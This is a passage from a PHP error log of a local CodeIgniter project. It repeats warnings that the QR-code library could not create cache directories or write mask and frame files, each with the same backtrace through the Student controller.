		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:56:24: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
